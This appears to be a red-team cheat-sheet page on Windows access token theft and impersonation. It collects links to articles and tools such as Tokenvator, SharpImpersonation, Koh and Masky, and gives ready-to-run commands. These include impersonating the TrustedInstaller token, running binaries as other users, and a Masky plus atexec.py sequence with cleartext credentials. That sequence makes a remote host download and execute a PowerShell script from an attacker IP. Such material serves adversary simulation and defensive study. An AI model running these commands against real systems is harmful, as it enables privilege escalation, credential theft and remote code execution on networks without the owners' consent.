Token Manipulation

• https://posts.specterops.io/understanding-and-defending-against-access-token-theft-finding-alternatives-to-winlogon-exe-80696c8a73b

• https://securitytimes.medium.com/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa

• https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962

• https://xret2pwn.github.io//Access-Token-Part0x01/

• https://xret2pwn.github.io//Building-Token-Vault-Part0x02/

• https://rastamouse.me/token-impersonation-in-csharp/

• https://xakep.ru/2022/12/06/win-api-secrets/

• https://ardent101.github.io/posts/tokens_theory/

• https://habr.com/ru/articles/776298/

• https://offensivedefence.co.uk/posts/nt-token-theft/

• [PDF] Technical Analysis of Access Token Theft and Manipulation (McAfee)

Access Token Theft and Manipulation (McAfee)

Trusted Installer Token

• https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/blob/main/NtObjectManager/NtTokenFunctions.ps1

• https://github.com/rweijnen/Posh-Snippets/blob/master/DCOM-FixUp.ps1

PS > Install-Module -Name NtObjectManager -Confirm:$false
PS > Restart-Service TrustedInstaller
PS > $procId = (Get-Process TrustedInstaller).Id
PS > $token = Get-NtTokenFromProcess -ProcessId $procId
PS > $current = Get-NtThread -Current -PseudoHandle
PS > $ctx = $current.Impersonate($token)
PS > $impToken = Get-NtToken -Impersonation
PS > $impToken.Groups

Impersonate to Request an ST

• https://github.com/foxlox/GIUDA

• https://github.com/MzHmO/TGSThief

Tools

• https://github.com/dievus/msImpersonate

• https://github.com/magnusstubman/tokenduplicator

Tokenvator

• https://www.netspi.com/blog/technical/adversary-simulation/tokenvator-a-tool-to-elevate-privilege-using-windows-tokens/

• https://www.netspi.com/blog/technical/adversary-simulation/tokenvator-release-2/

• https://github.com/0xbadjuju/Tokenvator

SharpImpersonation

• https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/

• https://github.com/S3cur3Th1sSh1t/SharpImpersonation

PS > .\SharpImpersonation.exe list [elevated]
PS > .\SharpImpersonation.exe list user:PC01\snovvcrash binary:"powershell.exe whoami"
PS > .\SharpImpersonation.exe list user:PC01\snovvcrash technique:ImpersonateLoggedOnuser

Koh

• https://posts.specterops.io/koh-the-token-stealer-41ca07a40ed6

• https://github.com/GhostPack/Koh

Masky

• https://z4ksec.github.io/posts/masky-release-v0.0.3/

• https://github.com/Z4kSec/Masky

• https://threadreaderapp.com/thread/1563247630129725442.html

Combining with AD CS abuse:

AD CS Abuse

$ pipx install -f 'git+https://github.com/Z4kSec/Masky.git'
$ masky -d tinycorp -u snovvcrash -p 'Passw0rd!' -ca 'CA01.megacorp.local\CorpCA' -dc-ip 192.168.1.11 10.10.13.37
$ atexec.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.11 'powershell iex(new-object net.webclient).downloadstring(""""http://10.10.13.37/Invoke-Masky.ps1"""");Invoke-Masky /ca:CA01.megacorp.local\CorpCA'

Impersonate

• https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/

• https://github.com/sensepost/impersonate

• https://github.com/zblurx/impersonate-rs